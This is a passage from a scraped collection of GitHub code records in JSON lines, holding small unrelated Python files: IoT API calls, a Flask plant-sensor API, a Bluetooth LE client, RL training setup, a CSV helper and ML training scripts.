\"\"\"\n API 相关\n @param path: params\n @return: OpenApi.Params\n \"\"\"\n params = open_api_models.Params(\n # 接口名称,\n action='PublishThingModel',\n # 接口版本,\n version='2018-01-20',\n # 接口协议,\n protocol='HTTPS',\n # 接口 HTTP 方法,\n method='POST',\n auth_type='AK',\n style='RPC',\n # 接口 PATH,\n pathname=f'/',\n # 接口请求体内容格式,\n req_body_type='formData',\n # 接口响应体内容格式,\n body_type='json'\n )\n return params\n\n\n# ”发布指定产品的物模型“的功能实现\ndef publish_thing_model():\n client = create_client(user_ak_info_list[0], user_ak_info_list[1])\n params = create_api_info()\n # query params\n queries = {}\n queries['IotInstanceId'] = query_list[0]\n queries['ResourceGroupId'] = query_list[1]\n queries['ProductKey'] = query_list[2]\n\n # 发布指定产品的版本号信息\n # queries['ModelVersion'] = 'v1.0.0'\n\n # body params\n body = {}\n body['ApiProduct'] = None\n body['ApiRevision'] = None\n # runtime options\n runtime = util_models.RuntimeOptions()\n request = open_api_models.OpenApiRequest(\n query=OpenApiUtilClient.query(queries),\n body=body\n )\n resp = client.call_api(params, request, runtime)\n outlog = UtilClient.to_jsonstring(resp)\n print(outlog)\n # 可对用户进行提示\n if \"An error occurred. The product has been published.\" in outlog:\n return -1\n elif '\"Success\": true' in outlog:\n return 0\n","repo_name":"YunyiShiXD/rough.py","sub_path":"device_management/publish_thing_model.py","file_name":"publish_thing_model.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12043864853","text":"from ctypes import sizeof\nimport socket\nfrom time import sleep\nclass MyLocalClient:\n LOCAL_PORT = 4431\n LOCAL_HOST = '127.0.0.1'\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n def init(self):\n self.s.connect((self.LOCAL_HOST, self.LOCAL_PORT))\n return \n def send(self,data):\n self.s.send(data)\n\n def init_alwaysConenct(self):\n connected = False \n while not connected: \n # attempt to reconnect, otherwise sleep for 2 seconds \n try: \n self.s.connect((self.LOCAL_HOST, self.LOCAL_PORT)) \n connected = True \n print( \"re-connection successful\" ) \n except socket.error: \n sleep( 1 ) \n\nif __name__ == '__main__':\n my_client = MyLocalClient()\n my_client.init_alwaysConenct()","repo_name":"pengzhen80/hello_py","sub_path":"http_server/local_client_test_reconnect.py","file_name":"local_client_test_reconnect.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7592697469","text":"from queue import Queue, Empty\nfrom pathlib import Path\nimport re\nfrom threading import Thread, Event\nimport numpy as np\n\ndef ensure_folders(path):\n match = re.match(\"(.*)/.*?$\",path)\n if match:\n Path(match[1]).mkdir(parents=True, exist_ok=True)\n\ndef numpy_writer(path,val):\n def lam():\n ensure_folders(path)\n np.save(path,val)\n return lam\n\nclass KillSignal:\n def __init__(self):\n pass\n\ndef process(queue):\n while True:\n lam = queue.get()\n if isinstance(lam,KillSignal):\n break\n if lam is None:\n import pdb; pdb.set_trace()\n lam()\n\n\n\nclass AsyncLambdaRunner:\n def __init__(self,threads = 1):\n self.queue = Queue()\n self.threads = [Thread(target=process,args=(self.queue,)) for _ in range(threads)]\n\n def put(self,item):\n self.queue.put(item)\n\n def start(self):\n for t in self.threads:\n t.start()\n def join(self):\n for _ in self.threads:\n self.put(KillSignal())\n for t in self.threads:\n t.join()\n # while True:\n # lam = self.queue.get()\n # lam()\n # match = re.match(\"(.*)/.*?$\",path)\n # if match:\n # Path(mach[1]).mkdir(parents=True, exist_ok=True)\n # np.savelllllll\n # import pdb; pdb.set_trace()\n # path_prefix = path.\n # Path(\"/my/directory\").mkdir(parents=True, exist_ok=True)\n # ll\n\nif __name__ == '__main__':\n writer = AsyncLambdaRunner()\n writer.put(lambda: print(\"test\"))\n writer.put(lambda: print(\"test2\"))\n writer.put(lambda: print(\"test3\"))\n writer.start()\n writer.join()\n","repo_name":"uiuc-robovision/laq","sub_path":"vis_nav/async_data_writer.py","file_name":"async_data_writer.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"209207077","text":"from critic import CriticNetwork\nimport torch.multiprocessing as mp\nfrom agent import Agent\nfrom learner import Learner\nfrom actor import ActorNetwork\nimport torch as T\nimport psutil\n\ndef main():\n env_id = 'CartPole-v0'\n N = 20\n batch_size = 5\n n_epochs = 4\n input_dims = [4]\n N_GAMES = 3000\n PRIORITY_ENABLE = False\n\n T_MAX = 5\n alpha = 0.0003\n n_actions = 2\n if 0:\n optim = SharedAdam(global_actor.parameters(), lr=alpha,\n betas=(0.92, 0.999))\n else:\n optim = 0\n\n #mp.set_start_method('spawn')\n\n #global_actor.share_memory()\n global_ep = mp.Value('i', 0)\n global_steps = mp.Value('i', 0)\n global_shutdown = mp.Value('b', False)\n manager = mp.Manager()\n process_queue = manager.Queue(mp.cpu_count()-1)\n memory_queue = manager.Queue(1500* mp.cpu_count())\n common_dict = manager.dict()\n if 0:\n global_actor = ActorNetwork(n_actions, input_dims, alpha, 0)\n global_actor.share_memory()\n global_critic = CriticNetwork(input_dims, alpha)\n global_critic.share_memory()\n else:\n global_actor = 0\n global_critic = 0\n\n event_list = [manager.Event() for i in range(mp.cpu_count()-1)]\n agent_list = [Agent(n_actions, input_dims,global_critic,global_actor, \n memory_queue, event_list[i],N_GAMES,PRIORITY_ENABLE,\n env_id, global_ep, global_steps, global_shutdown,optim,\n process_queue,common_dict,{i+1}, alpha=alpha, \n batch_size=batch_size, N=N, n_epochs=n_epochs) \n for i in range(mp.cpu_count()-1)]\n\n# global_learner = Learner(agent_list, memory_queue, event_list) \n#if 0: \n global_learner = Learner(agent_list, \n memory_queue, event_list,global_critic, \n global_shutdown, n_actions, global_actor,\n global_ep,global_steps, T_MAX, input_dims,\n process_queue,common_dict,{0}, \n alpha=alpha, \n n_epochs=n_epochs, \n batch_size=batch_size, N=N,N_GAMES=N_GAMES)\n\n #global_learner.cpu_affinity(0)\n\n #[w.cpu_affinity(i) for i in range(i+1, mp.cpu_count()-1)]\n\n [w.start() for w in agent_list]\n \n global_learner.start()\n\n [w.join() for w in agent_list]\n global_shutdown.value = True\n global_learner.join()\n\nif __name__ == \"__main__\":\n print(\"cpu core :\", mp.cpu_count())\n mp.set_start_method('spawn')\n main()\n","repo_name":"kajalgupta2018/PPO_DDPER","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40117490244","text":"#!/usr/bin/python3\nimport bluetooth_constants\nimport bluetooth_utils\nimport dbus\nimport sys\nimport time\nimport dbus.mainloop.glib\nfrom gi.repository import GLib\n\nsys.path.insert(0, '.')\n\nmainloop = None\nbus = None\ndevice_interface = None\ndevice_path = None\nfound_led_service = False\nfound_led_characteristic = False\nled_service_path = None\nled_characteristic_path = None\ntext = None\n\n\ndef write_text(text):\n global led_characteristic_path\n char_proxy = bus.get_object(bluetooth_constants.BLUEZ_SERVICE_NAME, led_characteristic_path)\n char_interface = dbus.Interface(char_proxy, bluetooth_constants.GATT_CHARACTERISTIC_INTERFACE)\n try:\n ascii = bluetooth_utils.text_to_ascii_array(text)\n value = char_interface.WriteValue(ascii, {})\n except Exception as e:\n print(\"Failed to write to LED Text\")\n print(e.get_dbus_name())\n print(e.get_dbus_message())\n return bluetooth_constants.RESULT_EXCEPTION\n else:\n print(\"LED TExt written OK\")\n return bluetooth_constants.RESULT_OK\n\n\n\n\ndef service_discovery_completed():\n global found_led_service\n global found_led_characteristic\n global led_service_path\n global led_characteristic_path\n global bus\n global text\n\n if found_led_service and found_led_characteristic:\n print(\"Required service and characteristic found - device is OK\")\n print(\"led service path: \",led_service_path)\n print(\"led characteristic path: \",led_characteristic_path)\n write_text(text)\n else:\n print(\"Required service and characteristic were not found - device is NOK\")\n print(\"led service found: \",str(found_led_service))\n print(\"led text characteristic found: \",str(found_led_characteristic))\n bus.remove_signal_receiver(interfaces_added_sig_rcvd,\"InterfacesAdded\")\n bus.remove_signal_receiver(properties_changed,\"PropertiesChanged\")\n mainloop.quit()\n\ndef interfaces_added_sig_rcvd(path, interfaces):\n global found_led_service\n global found_led_characteristic\n global led_service_path\n global led_characteristic_path\n if bluetooth_constants.GATT_SERVICE_INTERFACE in interfaces:\n properties = interfaces[bluetooth_constants.GATT_SERVICE_INTERFACE]\n print(\"----------------------------------------------------------\")\n print(f'service path: {path}')\n if 'UUID' in properties:\n uuid = properties['UUID']\n if uuid == bluetooth_constants.LED_SVC_UUID:\n found_led_service = True\n led_service_path = path\n print(\"service UUID: \", bluetooth_utils.dbus_to_python(uuid))\n print(\"service name: \", bluetooth_utils.get_name_from_uuid(uuid))\n return\n\n if bluetooth_constants.GATT_CHARACTERISTIC_INTERFACE in interfaces:\n properties = interfaces[bluetooth_constants.GATT_CHARACTERISTIC_INTERFACE]\n print(f'characteristic path: {path}')\n if 'UUID' in properties:\n uuid = properties['UUID']\n if uuid == bluetooth_constants.LED_TEXT_CHR_UUID:\n found_led_characteristic = True\n led_characteristic_path = path\n print(\" CHR UUID: \", bluetooth_utils.dbus_to_python(uuid))\n print(\" CHR name: \", bluetooth_utils.get_name_from_uuid(uuid))\n flags = \"\"\n for flag in properties['Flags']:\n flags = flags + flag + \",\"\n print(\" CHR flags : \", flags)\n return\n\n\ndef properties_changed(interface, changed, invalidated, path):\n global device_path\n if path != device_path:\n return\n\n if 'ServicesResolved' in changed:\n sr = bluetooth_utils.dbus_to_python(changed['ServicesResolved'])\n print(\"ServicesResolved : \", sr)\n if sr == True:\n service_discovery_completed()\n\n\n\n\n\ndef connect():\n global bus\n global device_interface\n\n try:\n device_interface.Connect()\n except Exception as e:\n print(\"Failed to connect\")\n print(e.get_dbus_name())\n print(e.get_dbus_message())\n if(\"UnknownObject\" in e.get_dbus_name()):\n print(\"Try scanning first to resolve this problem\")\n return bluetooth_constants.RESULT_EXCEPTION\n\n else:\n print(\"Connected OK\")\n return bluetooth_constants.RESULT_OK\n\nif(len(sys.argv) != 3):\n print(\"usage: ./client_write_text.py [bdaddr] [text]\")\n sys.exit(1)\n\ndbus.mainloop.glib.DBusGMainLoop(set_as_default=True)\n\nbdaddr = sys.argv[1]\ntext = sys.argv[2]\nbus = dbus.SystemBus()\nadapter_path = bluetooth_constants.BLUEZ_NAMESPACE + bluetooth_constants.ADAPTER_NAME\ndevice_path = bluetooth_utils.device_address_to_path(bdaddr, adapter_path)\ndevice_proxy = bus.get_object(bluetooth_constants.BLUEZ_SERVICE_NAME, device_path)\n\niface_prop = dbus.Interface(device_proxy, bluetooth_constants.DBUS_PROPERTIES) #интерфейс чтобы посмотреть свойства\ncon = iface_prop.Get(bluetooth_constants.DEVICE_INTERFACE, 'Connected') #для Connected()\n\ndevice_interface = dbus.Interface(device_proxy, bluetooth_constants.DEVICE_INTERFACE)#интерфейс для конкретного устройства\n\nif con:\n print('device is already connected')\nelse:\n print(\"Connecting to \" + bdaddr)\n res = connect()\n if res == bluetooth_constants.RESULT_OK:\n bus.add_signal_receiver(interfaces_added_sig_rcvd, dbus_interface = bluetooth_constants.DBUS_OM_IFACE, signal_name = \"InterfacesAdded\")\n bus.add_signal_receiver(properties_changed, dbus_interface = bluetooth_constants.DBUS_PROPERTIES, signal_name = \"PropertiesChanged\",\n path_keyword = \"path\")\n mainloop = GLib.MainLoop()\n mainloop.run()\n\n\nprint('----exit---')\n\n","repo_name":"zip1982b/ble_on_linux","sub_path":"client_write_text.py","file_name":"client_write_text.py","file_ext":"py","file_size_in_byte":5747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4000522669","text":"class Solution:\n def searchMatrix(self, matrix, target):\n i = 0\n m = len(matrix)\n while i < m and matrix[i][0] <= target:\n i = i + 1\n i = i - 1\n return target in matrix[i]\n\nif __name__ == '__main__':\n matrix = [[1]]\n target = 1\n ans = Solution().searchMatrix(matrix, target)\n print(ans)","repo_name":"peanutzhen/leetcode","sub_path":"solutions/__014_search_2d_matrix.py","file_name":"__014_search_2d_matrix.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"73880148213","text":"from flask import Flask, jsonify, request\nfrom db import *\nimport string\nimport random\n\napp = Flask(__name__)\n\ndef id_generator(size=10, chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\n@app.get('/')\ndef index():\n return jsonify({\"message\": \"Welcome to Plant API!\"})\n\n@app.get('/settings')\ndef settings():\n d = settingsDB.find({})\n data = [i for i in d]\n return jsonify(data)\n\n@app.post('/sensor/light')\ndef setLight():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n\n@app.post('/deactivate/light')\ndef deactivateLight():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n\n@app.post('/deactivate/fan')\ndef deactivateFan():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n@app.post('/deactivate/pump')\ndef deactivatePump():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n@app.post('/sensor/moisture')\ndef setMoisture():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n@app.post('/sensor/temp')\ndef setTemp():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n@app.post('/sensor/humidity')\ndef setHumid():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n\n\n@app.post('/sensor/pump')\ndef setPump():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n@app.post('/sensor/fan')\ndef setFan():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n@app.post('/sensor/led')\ndef setLed():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = sensorsDB.find_one({'name': data['name']})\n if x is None:\n sensorsDB.insert_one(data)\n else:\n sensorsDB.update_one({\"name\": data['name']}, {\"$set\": {'value': data['value']}})\n return jsonify(data)\n\n@app.get('/sensor/')\ndef getSensorbyName(name):\n if name != \"\":\n x = sensorsDB.find_one({'name': name})\n if x is not None:\n return jsonify(x)\n else:\n return jsonify({\"message\": f\"{name} not existing in DB\"})\n else:\n return jsonify({'message': \"Error! Enter sensor name\"})\n \n\n@app.get('/sensors')\ndef getSensors():\n x = sensorsDB.find({})\n data = [i for i in x]\n return jsonify(data)\n\n\n@app.post('/add/settings')\ndef createSettings():\n data = request.get_json()\n data['_id'] = id_generator(10)\n x = settingsDB.find({})\n if data['selected'] == True:\n for i in x:\n if i['selected'] == True:\n settingsDB.update_one({\"_id\": i['_id']}, {\"$set\": {'selected': False}})\n else:\n continue\n settingsDB.insert_one(data)\n return jsonify({\"message\": \"successfully added!\", \n \"data\": data})\n \n@app.post('/delete/settings')\ndef deleteSettings():\n data = request.get_json()\n s = settingsDB.find_one({\"_id\": data['_id']})\n if s['selected'] == True:\n settingsDB.update_one({\"_id\": \"Y3DYTVQJST\"}, {\"$set\": {'selected': True}})\n settingsDB.delete_one({\"_id\": data['_id']})\n return jsonify({'message': 'Successfully deleted!', \"data\": data})\n\n@app.post('/update/settings')\ndef updateSettings():\n data = request.get_json()\n x = settingsDB.find({})\n if data['selected'] == True:\n for i in x:\n if i['selected'] == True:\n settingsDB.update_one({\"_id\": i['_id']}, {\"$set\": {'selected': False}})\n else:\n continue\n settingsDB.update_one({\"_id\": data['_id']}, {\"$set\": data})\n return jsonify({\"message\": \"Successfully updated\", 'data': data})\n\n\n@app.get('/get/setting')\ndef get_setting():\n x = settingsDB.find_one({'selected': True})\n return jsonify(x)\n\n@app.get('/activate/fan')\ndef activate_fan():\n sensorsDB.update_one({\"name\": \"fan\"}, {\"$set\": {\"value\": True}})\n return jsonify({\"data\" : \"done\"})\n\n@app.get('/activate/pump')\ndef activate_pump():\n sensorsDB.update_one({\"name\": \"pump\"}, {\"$set\": {\"value\": True}})\n return jsonify({\"data\" : \"done\"})\n\n@app.get('/activate/led')\ndef activate_led():\n sensorsDB.update_one({\"name\": \"led\"}, {\"$set\": {\"value\": True}})\n return jsonify({\"data\" : \"done\"})\n\n\n@app.get('/deactivate/fan')\ndef deactivate_fan():\n sensorsDB.update_one({\"name\": \"fan\"}, {\"$set\": {\"value\": False}})\n return jsonify({\"data\" : \"done\"})\n\n@app.get('/deactivate/pump')\ndef deactivate_pump():\n sensorsDB.update_one({\"name\": \"pump\"}, {\"$set\": {\"value\": False}})\n return jsonify({\"data\" : \"done\"})\n\n@app.get('/deactivate/led')\ndef deactivate_led():\n sensorsDB.update_one({\"name\": \"led\"}, {\"$set\": {\"value\": False}})\n return jsonify({\"data\" : \"done\"})\n\n\n@app.post('/select/setting')\ndef select_setting():\n data = request.get_json()\n x = settingsDB.find({})\n for i in x:\n if i['_id'] == data[\"_id\"]:\n settingsDB.update_one({\"_id\": data['_id']},{\"$set\" : {\"selected\": True}})\n else:\n settingsDB.update_one({\"_id\": i['_id']},{\"$set\" : {\"selected\": False}})\n d = settingsDB.find_one({\"selected\": True})\n return jsonify(d)\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=3000)\n","repo_name":"aon123/plant","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70618350772","text":"import pandas as pd\r\nimport pickle\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.metrics.pairwise import linear_kernel\r\n\r\n\r\ndef get_dataframe_from_csv(filename):\r\n\tdf = pd.read_csv(filename)\r\n\r\n\tlocation_ids = list(df.id)\r\n\tlocation_id_mapping = {}\r\n\tlocation_id_mapping_reverse = {}\r\n\r\n\tidx = 0\r\n\tfor location_id in location_ids:\r\n\t\tlocation_id_mapping[location_id] = idx \r\n\t\tlocation_id_mapping_reverse[idx] = location_id\r\n\t\tidx += 1\r\n\r\n\treturn df, location_id_mapping, location_id_mapping_reverse\r\n\r\n\r\ndef load_model(filepath):\r\n file_content = open(filepath,'rb')\r\n return pickle.load(file_content)\r\n\r\n\r\ndef preprocess_data(listing_df):\r\n listing_df['price'] = listing_df.price.fillna(listing_df.price.mean)\r\n listing_df['price'] = pd.to_numeric(listing_df['price'].apply(lambda x: str(x).replace('$', '')), errors='coerce')\r\n listing_df = listing_df[['id', 'name', 'description', 'price']] \r\n\r\n listing_df['content'] = listing_df[['name', 'description']].apply(lambda x: ' // '.join(x), axis = 1) \r\n listing_df['content'].fillna('Null', inplace = True)\r\n return listing_df\r\n\r\n\r\ndef get_tf_idf_mapping(listing_df):\r\n tf = TfidfVectorizer(analyzer = 'word', ngram_range = (1, 2), min_df = 0, stop_words = 'english')\r\n tfidf_matrix = tf.fit_transform(listing_df['content'])\r\n return tfidf_matrix\r\n\r\n\r\ndef get_cosine_recommendations(location_id, location_id_mapping, location_id_mapping_reverse, tfidf_matrix):\r\n cosine_similarities = linear_kernel(tfidf_matrix, tfidf_matrix)\r\n location_distance_vector = cosine_similarities[location_id_mapping[location_id]]\r\n\r\n #Iterate through each item's similar items and store the 100 most-similar!\r\n top_indices = location_distance_vector.argsort()[::-1][:100]\r\n top_location_recommendation_ids = [location_id_mapping_reverse[idx] for idx in top_indices]\r\n return top_location_recommendation_ids[1:]\r\n\r\n","repo_name":"rshetty2594/Airbnb-Price-Prediction","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37235211648","text":"from .calculable import Calculable\nfrom pandas import DataFrame, Series\nfrom .ema import EMA\nfrom utils.columnnames import ColumnNames\n\n\nclass RSI(Calculable):\n\n def __calc__(self) -> Series:\n close_data = self._data[self._column_names.close_str]\n Us = []\n Ds = []\n for i in range(1, len(close_data)):\n cur = close_data[i]\n prev = close_data[i - 1]\n Us.append(cur - prev if cur > prev else 0)\n Ds.append(prev - cur if prev > cur else 0)\n u_ema = EMA(DataFrame({\"U\": Us}), self._mem, column_names=ColumnNames(adj_close_str=\"U\")).result\n d_ema = EMA(DataFrame({\"D\": Ds}), self._mem, column_names=ColumnNames(adj_close_str=\"D\")).result\n\n dates = []\n values = []\n\n start = self._mem + 1 - 1\n for i in range(start, len(close_data)):\n date = self._data.index.values[i]\n\n rs = u_ema.values[i-start] / d_ema.values[i-start]\n rsi = 100 - (100 / (1 + rs))\n\n dates.append(date)\n values.append(rsi)\n\n df = Series(data=values, index=dates)\n df.index.name = \"Date\"\n return df\n\n def __strategy__(self) -> Series:\n dates = []\n strat = []\n\n for date in self.result.index:\n value = self.result.loc[date]\n\n pos = Calculable.HOLD\n if value < 20:\n pos = Calculable.BUY\n elif value > 80:\n pos = Calculable.SELL\n\n dates.append(date)\n strat.append(pos)\n\n df = Series(data=strat, index=dates)\n df.index.name = \"Date\"\n return df\n","repo_name":"sikrinick/naive_bayes_trend_prediction","sub_path":"indicators/rsi.py","file_name":"rsi.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42859974835","text":"with open('churras.txt', 'r') as arquivo:\n comida=arquivo.readlines()\nt=0\nfor i in comida:\n l=i.split(',')\n x=float(l[1])\n y=float(l[2])\n s=x*y\n t+=s\nprint(t)\n \n \n \n \n \n ","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_252/ch87_2020_04_29_19_38_14_406271.py","file_name":"ch87_2020_04_29_19_38_14_406271.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22824827853","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport csv\n\nimport sys\n\nfrom mr_csv_worker.error_tracer import print_error\n\n\nclass CsvWorker:\n \"\"\" class for read and write csv files \"\"\"\n\n def __init__(self):\n self.report = 'no report'\n\n def __str__(self):\n return \"%s\" % self.report\n\n def get_rows_list_from_csv(self, csv_file_path, encoding, delimiter=';',\n start_row=0, end_row=None):\n \"\"\"\n Get list of rows from CSV\n\n Parameters\n ----------\n :param csv_file_path: full path to source csv file\n :param encoding: csv file encoding\n :param start_row: 0 is defaul value\n :param end_row: max limit of rows - should be positive integer\n :param delimiter: columns delimiter\n\n \"\"\"\n result = []\n try:\n with open(csv_file_path, 'r', encoding=encoding) as source_csv:\n data = source_csv.read().splitlines(True)\n if not end_row:\n end_row = len(data) - 1\n print(start_row, end_row)\n for idx, line in enumerate(data[start_row:end_row]):\n row = line.split(delimiter)\n result.append(row)\n print(\"result: %s \" % result)\n\n self.report = \"File was read. There are %s row(s)\" % len(result)\n return result\n except FileNotFoundError:\n print(\"File for READ with name '%s' was not found!\" % csv_file_path)\n print_error()\n self.report = \"Sorry, but i can't open file to read.\"\n return result\n except Exception as e:\n print(e)\n print_error(exception_info=sys.exc_info())\n self.report = \"Sorry, but i can't read this file. Please check logs.\"\n return result\n\n def write_rows_from_list_of_dict(self, csv_file_path, fields_names_list,\n list_of_dict, print_header=True, delimiter=';'):\n \"\"\"\n Print\n\n Parameters\n ----------\n :param csv_file_path: full path to source csv file\n :param fields_names_list: This values become a header or CSV file if header is enabled\n :param list_of_dict: List of dict - with key value == values from fields_names_list\n :param print_header: should i print header (first row) or not?\n :param delimiter: columns delimiter\n\n \"\"\"\n try:\n with open(csv_file_path, 'w') as target_csv:\n writer = csv.DictWriter(target_csv, fieldnames=fields_names_list, delimiter=delimiter)\n if print_header:\n writer.writeheader()\n if list_of_dict:\n for row_dict in list_of_dict:\n writer.writerow(rowdict=row_dict)\n self.report = \"'%s' file was wrote\" % csv_file_path\n else:\n self.report = \"No incoming data for print. Please send me list of dict (rows)\"\n except FileNotFoundError:\n error_text = \"Wrong filename or incorrect PATH: %s\" % csv_file_path\n print(error_text)\n self.report = error_text\n except PermissionError:\n error_text = \"I have NO ACCESS save new CSV file to this location: %s\" % csv_file_path\n print(error_text)\n self.report = error_text\n except Exception as e:\n print(e)\n print_error()\n error_text = \"Can't write dict into file %s\" % csv_file_path\n self.report = error_text\n self.report = error_text\n","repo_name":"r00tkid/mr_csv_worker","sub_path":"mr_csv_worker/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70113552052","text":"import os, os.path as osp\nimport configargparse\nimport torch\nfrom torch.utils.data import DataLoader\n\nimport rndf_robot.model.vnn_occupancy_net_pointnet_dgcnn as vnn_occupancy_network\nfrom rndf_robot.training import summaries\nfrom rndf_robot.training import losses\nfrom rndf_robot.training import dataio_sdf as dataio\nfrom rndf_robot.training import training\nfrom rndf_robot.utils import path_util\n\np = configargparse.ArgumentParser()\np.add('-c', '--config_filepath', required=False, is_config_file=True, help='Path to config file.')\n\np.add_argument('--logging_root', type=str, default=osp.join(path_util.get_rndf_model_weights(), 'ndf_vnn'), help='root for logging')\np.add_argument('--obj_class', type=str, required=True,\n help='bottle, mug, bowl, all, syn_rack_easy, syn_rack_med, syn_container')\np.add_argument('--experiment_name', type=str, required=True,\n help='Name of subdirectory in logging_root where summaries and checkpoints will be saved.')\n\np.add_argument('--sidelength', type=int, default=128)\n\n# General training options\np.add_argument('--batch_size', type=int, default=16)\np.add_argument('--lr', type=float, default=1e-4, help='learning rate. default=5e-5')\np.add_argument('--num_epochs', type=int, default=40001,\n help='Number of epochs to train for.')\n\np.add_argument('--epochs_til_ckpt', type=int, default=10,\n help='Time interval in seconds until checkpoint is saved.')\np.add_argument('--steps_til_summary', type=int, default=500,\n help='Time interval in seconds until tensorboard summary is saved.')\np.add_argument('--iters_til_ckpt', type=int, default=10000,\n help='Training steps until save checkpoint')\n\np.add_argument('--depth_aug', action='store_true', help='depth_augmentation')\np.add_argument('--multiview_aug', action='store_true', help='multiview_augmentation')\n\np.add_argument('--checkpoint_path', default=None, help='Checkpoint to trained model.')\np.add_argument('--variance_loss', action='store_true', help='If you want to add a loss on the negative std dev of descriptors')\np.add_argument('--is_shapenet', action='store_true', help='is this data from shapenet or our own synthetic models')\nopt = p.parse_args()\n\nif opt.is_shapenet:\n train_dataset = dataio.JointShapenetSDFTrainDataset(\n depth_aug=opt.depth_aug, \n multiview_aug=opt.multiview_aug, \n obj_class=opt.obj_class)\n val_dataset = dataio.JointShapenetSDFTrainDataset(\n phase='val', \n depth_aug=opt.depth_aug, \n multiview_aug=opt.multiview_aug, \n obj_class=opt.obj_class)\nelse:\n train_dataset = dataio.SynObjSDFDataset(\n depth_aug=opt.depth_aug, \n multiview_aug=opt.multiview_aug, \n obj_class=opt.obj_class)\n val_dataset = dataio.SynObjSDFDataset(\n phase='val', \n depth_aug=opt.depth_aug, \n multiview_aug=opt.multiview_aug, \n obj_class=opt.obj_class)\n\nlatent_dim = 256\nmodel = vnn_occupancy_network.VNNOccNet(latent_dim=latent_dim, return_features=True, sigmoid=False).cuda()\nif opt.variance_loss:\n loss_fn = val_loss_fn = losses.distance_net_descriptor_dist\nelse:\n loss_fn = val_loss_fn = losses.distance_net\nsummary_fn = summaries.distance_net\n\n\ntrain_dataloader = DataLoader(train_dataset, batch_size=opt.batch_size, shuffle=True,\n drop_last=True, num_workers=1)\nval_dataloader = DataLoader(val_dataset, batch_size=opt.batch_size, shuffle=True,\n drop_last=True, num_workers=4)\n\n\nif opt.checkpoint_path is not None:\n model.load_state_dict(torch.load(opt.checkpoint_path))\n\n# Define the loss\nroot_path = os.path.join(opt.logging_root, opt.experiment_name)\n\n# Define the loss\nroot_path = os.path.join(opt.logging_root, opt.experiment_name)\n\ntraining.train(model=model, train_dataloader=train_dataloader, val_dataloader=val_dataloader, epochs=opt.num_epochs,\n lr=opt.lr, steps_til_summary=opt.steps_til_summary, 